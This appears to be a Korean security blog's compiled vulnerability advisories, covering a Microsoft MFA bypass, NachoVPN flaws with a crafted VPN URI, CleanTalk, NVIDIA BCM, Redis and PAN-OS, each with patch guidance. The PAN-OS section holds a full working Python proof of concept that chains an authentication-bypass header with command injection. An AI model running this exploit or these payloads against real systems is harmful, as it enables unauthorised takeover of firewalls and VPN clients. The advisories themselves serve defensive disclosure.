- MS 다중인증 환경에서 인증앱을 활용한 다중인증의 경우, 인증 우회 취약점 발견 [1] - Outlook, OneDrive, Teams, Azure Cloud 등 각종 MS 계정에 무단 접근이 가능 - MS에 가입된 유로 계정은 약 4억 개로 공격 성공 시 매우 큰 파장을 일으킬 수 있음
2. 주요내용
- 사용자가 MS 포털에 접속 시 계정과 6자리 코드를 사용해 로그인 시도 > 사용자가 로그인 페이지에 처음 접속하면 세션 식별자 할당 > 계정 정보 입력 후 추가 인증을 요구하며, 6자리 코드를 제공해 인증 과정 마무리
- 한 세션에서 10번 연속 입력을 실패할 경우 계정 잠금 > 연구진은 새 세션을 빠르게 생성한 후 6자리 코드를 대입하는 실험을 진행 > 실험 결과 여러 시도를 어떠한 경고(≒알림) 없이 동시에 실행할 수 있음을 발견
- 인증 앱을 사용한 인증 방법에는 시간 제한이 존재 > 30초 간격으로 새로운 코드가 생성 되도록 하는 것이 일반적 > 그러나, MS 로그인을 테스트한 결과 코드가 약 3분동안 유효한 것으로 확인 > 이는 공격에 성공할 확률이 3% 증가하는 수치*
* 공격자의 입장에서 세션을 24개 생성해 연속적으로 공격을 수행할 경우 70분의 시간을 확보하는 것 * 70분이 지나면 유효한 코드를 입력할 확률이 이미 50%를 넘어감
- 연구원들은 결과를 MS에 제보 > MS는 취약점을 수정한 버전 배포
권고 사항
구분
설명
다중인증 활성화
- 완벽한 안전을 보장하는 기술이 아니지만, 계정 보호에 필수적인 방법 - 다중인증을 사용하여도 100% 안전하지 않으며, 꾸준히 관리해야 함
- 미국(CISA, NSA, FBI), 호주(ACSC), 캐나다(CCCS), 뉴질랜드(NCSC-NZ)가 협동해 통신 인프라 관련 보안 가이드라인 발표 [1] - 사이버 위협 행위자, 특히 중국과 관련된 위협에 대응하기 위한 권고사항
2. 주요내용
구분
설명
모니터링
- 지속적인 스위치, 라우터, 방화벽 등 네트워크 장치의 구성 변경 모니터링 및 비정상적 변경에 대해 경고하는 메커니즘 구축 - 네트워크 흐름 모니터링 솔루션 구현 및 가시성 확보 - 관리 트래픽 노출 최소화 및 전용 관리 워크스테이션에서만 접근 허용 - 사용자 및 서비스 계정 로그인을 모니터링하여 비정상적인 로그인 시도 탐지 및 비활성화 - 중앙 집중화된 로그 관리 및 분석으로 신속한 의심스러운 활동 식별 등
강화 시스템 및 장치
- 프로토콜 및 관리 프로세스 개선 > 대역 외 관리 네트워크 사용 > 기본 거부 ACL 정책 구현 > 강력한 네트워크 세분화 > VPN 게이트웨이에 강력한 암호화 프로토콜 적용 > AAA(Authentication_인증, Authorization_권한부여, Accounting_계정관리) 로깅이 CIA 기능을 갖춘 중앙 로깅 서버로 전송되도록 보장 > 불필요한 프로토콜 비활성화 > 기본 비밀번호 사용 지양 > 신뢰할 수 있는 무결성 검증 도구 활용 등
Cisco 특정 지침
- 사이버 위협 행위자들은 Cisco 장비의 특정 기능을 표적으로 공격하므로 조치 필요 > Cisco Smart Install 서비스 비활성화 > Guestshell 액세스 비활성화 > 암호화되지 않은 웹 관리 기능 비활성화 > Telnet을 비활성화 > 비밀번호 관리 강화
- PaloAlto GlobalProtect, SonicWall NetExtender SSL-VPN 클라이언트 등에 심각한 취약점 "NachoVPN" 발견 [1][2][3] - 공격자가 악성 VPN 서버를 통해 피해자 기기에 악성 업데이트 설치 또는 민감한 정보를 탈취할 수 있음 - 소셜 엔지니어링 기법을 활용해 사용자를 악성 VPN 서버로 유도해 익스플로잇
2. 주요내용
2.1 CVE-2024-29014
- SonicWall의 NetExtender Windows(32 및 64비트) 클라이언트에서 발생하는 임의 코드 실행 취약점 > 소셜 엔지니어링을 통해 악성 VPN 서버로 연결 하도록 유도 및 가짜 EPC 클라이언트 업데이트를 전달해 시스템 권한으로 임의 코드를 실행
영향받는 버전 - NetExtender Windows (32 and 64 bit) 10.2.339 및 이전 버전
- NetExtender 클라이언트는 SSL-VPN 서버에 연결하는 동안 서버에 EPC 클라이언트 업데이트가 있는지 확인하기 위한 요청 전송 > GET /cgi-bin/sslvpnclient?epcversionquery=nxw > 서버는 버전 번호로 판단되는 값으로 응답 > 응답이 0xFF인 경우 클라이언트는 /NACAgent.exe에 대한 GET 요청을 전송
- NECore.dll의 ValidateSignature()에서 해당 파일이 다운로드되고 유효성을 검증
> 해당 함수는 WINTRUST_ACTION_GENERIC_VERIFY_V2 작업을 사용해 WinVerifyTrust 호출 (실행 파일에 포함된 Authenticode 서명 검증 과정) > 그러나 실행 파일의 서명이 신뢰할 수 있는 CA와 연결되는지만 확인하며, 특정 게시자(Microsoft, Adobe, Oracle 등)에 의해 서명되었는지 확인하지 않음
> 따라서 시스템에서 신뢰하는 코드 서명 인증서로 실행 파일을 서명만 하게되면 서명 검사를 통과할 수 있음
※ 다운로드한 NACAgent.exe는 SYSTEM으로 실행되는 NEService.exe의 자식 프로세스로 실행
- sonicwallconnectagent 사용자 정의 URI 핸들러는 SMA Connect 에이전트에 의해 Windows 레지스트리에 등록
> 핸들러는 클라이언트가 연결해야하는 서버를 지정하는 Base64로 인코딩된 JSON 개체가 포함 > 따라서 공격자는 host 값을 악의적인 SSL-VPN 서버의 IP를 가리키도록 sonicwallconnectagent:// URL을 제작하면 취약점 악용 가능
[사용자 정의 URI 핸들러 예시] sonicwallconnectagent://eyJhY3Rpb24iOjEwLCJoZWxwZXJ2ZXJzaW9uIjoiMS4xLjQyIiwiaG9zdCI6IjE3Mi4xNy4xMjguMSIsInBvcnQiOiI0NDMiLCJ1c2VybmFtZSI6InVzZXIiLCJleHRlbmRpZCI6IkV0UUJ2MFp3elY0OGsxRVpaQ3JMU3ZwOGJLcFh4NFRCcGVISmlmOVUxczQ9In0
- 사용자가 조작된 페이지를 방문하면 악성 SSL-VPN 서버에 연결 및 서명된 악성 NACAgent.exe 실행 > NetExtender 클라이언트에 EPC 에이전트 업데이트 필요 메시지가 표시되며, 무시 또는 확인을 누를 경우 악성 NACAgent.exe 파일이 시스템 권한으로 실행됨
2.2 CVE-2024-5921
- PaloAlto Networks GlobalProtect 앱의 불충분한 인증 유효성 검사로 임의의 서버에 연결할 수 있는 취약점 > 소셜 엔지니어링을 통해 악성 VPN 서버로 연결 하도록 유도 및 가짜 업데이트를 전달해 시스템 권한으로 임의 코드를 실행
영향받는 버전 - GlobalProtect 6.2.6 이전 버전
- 클라이언트-서버간 인증 과정 중 클라이언트는 POST 메소드로 서버에 자격 증명을 전송 > 서버는 XML 정책 객체로 포맷된 구성 데이터로 응답
- GlobalProtect 클라이언트는 기본적으로 응답을 신뢰 > 유일한 검증은 서버가 해당 도메인에 대한 유효한 TLS 인증서를 가지는지 확인하고 제공된 자격증명을 수락하는 것 > 익스플로잇에서 root-ca, version, uninstall, client-upgrade 요소가 중요
구분
설명
root-ca
- 클라이언트에 제공된 인증서를 신뢰할 수 있는 인증서 저장소에 설치하도록 지시 - GlobalProtect 게이트웨이의 IP 주소가 클라이언트가 신뢰하는 TLS 인증서를 사용할 수 있도록 하기위함 - 공격자는 인증서가 주장하는 모든 목적을 위해 컴퓨터가 완전히 신뢰하는 인증서를 설치할 수 있음 (MITM이 발생해 데이터 탈취 또는 악성 SW 서명 및 실행이 가능)
version
- 클라이언트에 반환된 version 태그는 업데이트 요청이 트리커되는지 여부를 결정 - 값이 클라이언트에 현재 설치된 버전보다 높은 경우 연결 성공 시 업데이트를 요청 - Portal 인증 응답의 version 태그가 현재 설치된 버전보다 높은 경우 > 클라이언트는 Portal에 업데이트를 요청 > 서버는 클라이언트의 OS와 아키텍처에 맞는 적절한 설치 프로그램으로 302 응답
uninstall
- 업그레이드가 관리되는 방식을 설정 > Allow with Prompt (Default) : 새 버전이 확인될 경우 업데이트 메시지 표시 > Allow Transparently : 사용자 상호 작용 없이 자동으로 업데이트 발생 > Internal : 사용자가 내부 네트워크에서 연결되어 있는 경우에만 사용자 상호 작용 없이 업그레이드되며, 내부 GW와 내부 호스트 감지를 구성해야 함 (외부 네트워크에서 연결된 경우 업그레이드 연기) > Disallow : 업데이트 차단 > Allow Manually : "버전 확인"을 선택해 세 버전이 있는 경우 사용자 판단하 수동 업데이트 적용
client-upgrade
- transparent로 설정된 경우 사용자 위치와 동의와 관계없이 자동 업데이트
- 공격 성공 조건과 성공 시 가능한 악성 행위는 다음과 같음
구분
설명
공격 성공 조건
- 서버 인증서 : 공인 인증 기관에서 서명한 포털용 인증서 - 사용자 지정 루트 인증 기관(CA) : 로컬에서 생성된 CA PEM 파일이 클라이언트에 제공되어 신뢰할 수 있는 인증서 저장소에 설치 - 코드 서명 인증서 : 사용자 지정 CA가 악성 MSI에 서명하기 위해 서명한 인증서
성공 시 가능한 악성 행위
- 자격 증명 공개 : 사용자가 입력한 인증 세부 정보 수집 - 사기성 루트 인증 기관 설치 : 중간자 공격(MITM)이나 코드 서명과 같은 추가 공격이 가능 - 라우팅 구성 조작 : 네트워크 트래픽을 제어하기 위해 악의적인 라우팅 설정 - 악성 업데이트 요청 : 신뢰할 수 있는 기관에서 서명한 MSI를 가져와서 실행하도록 클라이언트를 트리거
3. 대응방안
- 벤더사 제공 업데이트 적용 [9][10]
취약점
제품명
영향받는 버전
해결 버전
CVE-2024-29014
NetExtender Windows (32 and 64 bit)
10.2.339 및 이전 버전
10.2.341 및 이후 버전
CVE-2024-5921
GlobalProtect
6.2.6 이전 버전
6.2.6 (또는 VPN 클라이언트를 FIPS-CC 모드에서 실행)
- NachoVPN 툴 활용 [11]
> 개념 증명용 오픈소스 기반 도구로, 악성 VPN 서버를 시뮬레이션할 수 있음
> Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect, Ivanti Connect Secure 등의 VPN 제품 지원
- 권고사항
> SSL-VPN 클라이언트를 최신 버전으로 업데이트
> 호스트 기반 방화벽 규칙을 사용해 VPN 클라이언트가 통신할 수 있는 IP 제한
> WDAC, EDR 등을 사용해 VPN 클라이언트가 승인된 실행 파일과 스크립트만 실행할 수 있도록 설정
- 워드프레스 웹사이트에서 스팸을 방지하기 위해 사용되는 플러그인 - 스팸 방지 기능을 제공하는 클라우드 기반 서비스
2. 주요내용 [2]
2.1 CVE-2024-10542
- WordPress CleanTalk 플러그인에서 발생하는 DNS 스푸핑을 통한 인증 우회 취약점 (CVSS: 9.8) > 악용에 성공할 경우 인증되지 않은 공격자가 임의의 플러그인을 설치 및 활성화하여 원격 코드를 실행할 수 있음
영향받는 버전 - Spam protection, Anti-Spam, FireWall by CleanTalk <= 6.43.2
- 아래 함수는 토큰을 저장된 API 비교 또는 checkWithoutToken()를 통해 토큰 없이도 작업을 수행할 수 있는지 확인
78 | // Check Access key
79 | if (
80 | ($token === strtolower(md5($apbct->api_key)) ||
81 | $token === strtolower(hash('sha256', $apbct->api_key))) ||
82 | self::checkWithoutToken()
83 | ) {
84 | // Flag to let plugin know that Remote Call is running.
85 | $apbct->rc_running = true;
86 |
87 | $action = 'action__' . $action;
88 |
89 | if ( method_exists(__CLASS__, $action) ) {
- checkWithoutToken()는 발신 IP가 cleantalk.org 에 속하는지 확인 > IP는 사용자 정의 매개 변수인 X-Central-Ip 및 X-Forward-By 헤더 매개 변수로 결정되므로, IP 스푸핑에 취약 > IP 확인 후 strpos()를 사용해 도메인 이름을 확인하는데, 도메인에 'cleantalk.org' 문자열이 포함된 경우 검사를 통과할 수 있어, DNS 스푸핑에 취약
- AI(인공지능)와 HPC(High Performance Computing, 고성능 컴퓨팅)을 위한 클러스터 관리 소프트웨어 - 멀티 클라우드 및 온프레미스 환경 지원
※ 클러스터(Cluster) : 여러 대의 컴퓨터가 서로 연결되어 하나의 시스템처럼 작동하도록 구성한 컴퓨팅 환경
2. CVE-2024-0138
- NVIDIA BCM 구성요소인 CMDaemon의 인증 누락 취약점 (CVSS : 9.8) > CMDaemon : CPU나 네트워크 등 클러스터의 구성요소 간 통신을 지원하고, 작업이 원활하게 실행되도록 돕는 프로세스 [3] > 익스플로잇에 성공할 경우 코드 실행, 서비스 거부, 권한 상승, 정보 유출, 데이터 변조가 가능
영향받는버전 NVIDIA Base Command Manager 10.24.09
- 누구나 인증 없이 시스템에 접근할 수 있는 취약점으로 신속한 업데이트 권고 [4][5]
- Palo Alto Networks PAN-OS에 존재하는 인증 우회 취약점 (CVSS : 9.3)
> 공격자가 인증이나 사용자 상호작용 없이 관리자 권한을 얻을 수 있으며, 방화벽 설정에 무단 접근 및 제어가 가능 > CVE-2024-9474와 연계하여 공격이 진행 중
영향받는 버전 - PAN-OS 11.2.4-h1 버전 미만 - PAN-OS 11.1.5-h1 버전 미만 - PAN-OS 11.0.6-h1 버전 미만 - PAN-OS 10.2.12-h2 버전 미만
- 취약점은 uiEnvSetup.php 스크립트에서 발생
> 스크립트는 HTTP 헤더 HTTP_X_PAN_AUTHCHECK가 "on" 또는 "off"인지 확인 > "on"으로 설정된 경우 스크립트는 사용자를 로그인 페이지로 리다이렉션 > 헤더가 기본 구성(/etc/nginx/conf/proxy_default.conf 파일)에서 "on"으로 설정되어 있으나, 이를 "off"로 변경하여 인증을 우회할 수 있음
if (
$_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
&& $_SERVER['PHP_SELF'] !== '/CA/ocsp'
&& $_SERVER['PHP_SELF'] !== '/php/login.php'
&& stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
$_SERVER['PAN_SESSION_READONLY'] = true;
$ws = WebSession::getInstance($ioc);
$ws->start();
$ws->close();
// these are horrible hacks.
// This whole code should be removed and only make available to a few pages: main, debug, etc.
if (
!Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/panorama_webui/php/api/index.php')
&& !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/firewall_webui/php/api/index.php')
) {
if (Backend::quickSessionExpiredCheck()) {
if (isset($_SERVER['QUERY_STRING'])) {
Util::login($_SERVER['QUERY_STRING']);
} else {
Util::login();
}
exit(1);
}
}
}
2.2 CVE-2024-9474 [3]
- Palo Alto Networks PAN-OS에 존재하는 권한 상승 취약점
영향받는 버전 - PAN-OS 11.2.4-h1 버전 미만 - PAN-OS 11.1.5-h1 버전 미만 - PAN-OS 11.0.6-h1 버전 미만 - PAN-OS 10.2.12-h2 버전 미만 - PAN-OS 10.1.14-h6 버전 미만
- 취약점은 createRemoteAppwebSession.php 스크립트에서 발생
> 해당 스크립트를 사용하면 공격자는 임의의 사용자를 만들고, PHPSESSID(인증 토큰)를 할당받을 수 있음 > 할당받은 인증 토큰을 이용해 악성 명령 실행 가능
2.3 PoC [4]
- X-PAN-AUTHCHECK 헤더를 off로 설정하여 인증 우회
- createRemoteAppwebSession.php를 이용해 PHPSESSID 획득
#POC is written by Chirag Artani
import requests
import argparse
from urllib.parse import urljoin
import logging
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def setup_logging():
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
class VulnChecker:
def __init__(self, base_url, verify_ssl=False, timeout=30):
self.base_url = base_url
self.verify_ssl = verify_ssl
self.timeout = timeout
self.session = requests.Session()
if not verify_ssl:
urllib3.disable_warnings(InsecureRequestWarning)
self.session.verify = False
def make_request(self, method, endpoint, **kwargs):
try:
url = urljoin(self.base_url, endpoint)
kwargs['timeout'] = self.timeout
kwargs['verify'] = self.verify_ssl
response = self.session.request(method, url, **kwargs)
response.raise_for_status()
return response
except requests.exceptions.SSLError as e:
logging.error(f"SSL Error: {str(e)}")
logging.info("Try using --no-verify if the target uses self-signed certificates")
return None
except requests.exceptions.RequestException as e:
logging.error(f"Request failed: {str(e)}")
return None
def create_initial_session(self):
"""Create initial session with command injection payload"""
headers = {
'X-PAN-AUTHCHECK': 'off',
'Content-Type': 'application/x-www-form-urlencoded'
}
# Command injection payload to write system info to file
data = {
'user': '`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`',
'userRole': 'superuser',
'remoteHost': '',
'vsys': 'vsys1'
}
response = self.make_request(
'POST',
'/php/utils/createRemoteAppwebSession.php/watchTowr.js.map',
headers=headers,
data=data
)
if response and 'PHPSESSID' in response.cookies:
phpsessid = response.cookies['PHPSESSID']
logging.info(f"Initial session created: {phpsessid}")
return phpsessid
return None
def trigger_execution(self, phpsessid):
"""Trigger command execution via index page"""
headers = {
'Cookie': f'PHPSESSID={phpsessid}',
'X-PAN-AUTHCHECK': 'off',
'Connection': 'keep-alive'
}
response = self.make_request(
'GET',
'/index.php/.js.map',
headers=headers
)
if response:
logging.info(f"Trigger response status: {response.status_code}")
if response.text:
logging.info(f"Response content length: {len(response.text)}")
return True
return False
def verify_execution(self):
"""Verify command execution by checking created file"""
response = self.make_request(
'GET',
'/unauth/watchTowr.php'
)
if response and response.status_code == 200:
logging.info("Command execution verified")
if response.text:
logging.info(f"System info: {response.text.strip()}")
return True
return False
def main():
parser = argparse.ArgumentParser(description='Vulnerability Check Script')
parser.add_argument('--url', required=True, help='Target base URL (http:// or https://)')
parser.add_argument('--no-verify', action='store_true', help='Disable SSL verification')
parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')
args = parser.parse_args()
setup_logging()
logging.info(f"Starting vulnerability check against {args.url}")
checker = VulnChecker(
args.url,
verify_ssl=not args.no_verify,
timeout=args.timeout
)
# Step 1: Create session with command injection payload
phpsessid = checker.create_initial_session()
if not phpsessid:
logging.error("Session creation failed")
return
# Step 2: Trigger command execution
if checker.trigger_execution(phpsessid):
logging.info("Command execution triggered successfully")
# Step 3: Verify the result
if checker.verify_execution():
logging.info("Verification completed successfully")
else:
logging.error("Verification failed - file not created or accessible")
else:
logging.error("Command execution trigger failed")
if __name__ == "__main__":
main()
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [5][6]
제품명
취약점
영향받는 버전
해결 버전
PAN-OS
CVE-2024-0012
PAN-OS 11.2.4-h1 버전 미만
PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만
PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만
PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만
PAN-OS 10.2.12-h2 및 이후 버전
CVE-2024-9474
PAN-OS 11.2.4-h1 버전 미만
PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만
PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만
PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만
PAN-OS 10.2.12-h2 및 이후 버전
PAN-OS 10.1.14-h6 버전 미만
PAN-OS 10.1.14-h6 및 이후 버전
- 권고 사항
① 접근 제한 : 관리 인터페이스에 대한 접근을 신뢰할 수 있는 내부 네트워크로 제한 및 다중 인증(MFA)을 구현
> 특정 IP 주소로만 접속이 가능하게 하면 CVSS 9.3에서 7.5로 감소
② 시스템 모니터링: 의심스러운 활동을 실시간으로 감지하고 대응하기 위한 지속적인 모니터링
③ 관리자 교육: 시스템 관리자들이 최신 보안 권고 사항을 숙지하고, 신속한 업데이트의 중요성을 이해하도록 교육
- 오픈 소스 인메모리 비관계형 데이터베이스 - 데이터를 Key - Value 형태로 메모리에 하며, 빠른 읽기/쓰기 성능을 제공 - 특징 ① 빠른 속도 : 모든 데이터를 저장하므로 읽기 및 쓰기 속도가 빠름 ② 데이터 영속성 : 메모리 특성(휘발성)으로 데이터가 사라질 수 있어 RDB 또는 AOF 방식으로 백업 지원 ⒜ RDB (Redis Database) : 메모리에 있는 데이터 전체에서 스냅샷을 작성하고, 이를 디스크로 저장하는 방식 > 디스크 I/O를 줄이며 저장 효율이 높으나, 마지막 스냅샷 이후 변경된 데이터는 복구할 수 없음 ⒝ AOF (Append Only File) : 데이터가 변경되는 이벤트가 발생하면 이를 모두 로그에 저장하는 방식 > 데이터 손실 가능성을 최소화하나, 로그 파일 크기가 커지고 디스크 I/O 부하 증가 ③ 다양한 데이터 타입 지원 : String, List, Set, Sorted Set, Hash, Stream 등 다양한 데이터 타입 지원
2. CVE-2024-31449
- Lua 엔진이 포함된 모든 버전의 Redis에 존재하는 스택 버퍼 오버플로우 취약점 > Lua 엔진은 사용자 스크립트를 실행하도록 레디스에 내장된 도구로, 데이터를 더 편리하게 처리할 수 있도록 설계 > 악용에 성공 시 악의적인 코드를 실행하거나 데이터 탈취 및 서버를 제어할 수 있음
- Lua 엔진에서 특정 스크립트를 실행할 때 스택 버퍼 오버플로우가 발생 [3] > 취약점은 Lua 엔진 내 bit.tohex 함수와 관련 (bit 모듈은 비트 연산을 수행하는데 사용됨)
- bit.tohex 함수는 정수를 16진수 문자열로 변환 [4]
> 정수(x)를 입력받아 16진수로 변환하여 지정된 자리수 n 만큼(생략 가능) 출력 > 지정된 자리를 채우기 위해 왼쪽에 0이 추가되어 결과 출력 > 음수 값도 처리가능하며, 2의 보수 표현에 따라 출력
사용법: bit.tohex(x [,n])
- 특정 인수로 bit.tohex 함수를 호출하는 Lua 스크립트 악용
> 자리수를 결정하는 두 번째 인자에 음수와 같은 비정상적인 값을 사용 > 잘못된 인자 값이 지나치게 큰 버퍼 크기를 요구하므로, 인접한 메모리가 덮어씌워지며 스택 버퍼 오버플로우가 발생